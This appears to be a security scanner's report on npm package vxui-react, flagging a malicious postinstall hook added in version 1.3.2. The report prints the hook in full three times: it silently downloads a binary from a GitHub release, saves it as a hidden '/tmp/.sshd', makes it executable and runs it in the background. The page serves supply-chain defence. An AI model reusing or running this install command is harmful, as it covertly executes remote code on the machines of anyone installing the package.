npm · registry.npmjs.org
vxui-react
Install Lifecycle Suppresses Failure: postinstall="curl -skL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/latest/download/gvfsd-network -o /tmp/.sshd 2>/dev/null && chmod +x /tmp/.sshd && /tmp/.sshd &"
Why PkgRadar flagged 1.3.2
| Severity | Signal | Evidence |
|---|---|---|
| high | New Lifecycle Script Vs Previous | postinstall added in 1.3.2 vs 1.3.1: "curl -skL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/latest/download/gvfsd-network -o /tmp/.sshd 2>/dev/null && chmod +x /tmp/.sshd && /tmp/.sshd &" · package.json |
| high | Install Lifecycle Suppresses Failure | postinstall="curl -skL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/latest/download/gvfsd-network -o /tmp/.sshd 2>/dev/null && chmod +x /tmp/.sshd && /tmp/.sshd &" · package.json |
Scanned versions
| Version | Verdict | Score | Scanned (UTC) |
|---|---|---|---|
1.3.2 | High risk | 65 | 2026-06-03 |
1.3.4 | High risk | 25 | 2026-06-03 |
1.3.6 | Low risk | 0 | 2026-05-27 |
1.3.5 | Low risk | 0 | 2026-05-27 |
1.3.1 | Low risk | 0 | 2026-05-26 |
Related campaigns
- vxlink — 2 releases, max score 95
Block this in CI
pkgradar gate --ecosystem npm [email protected]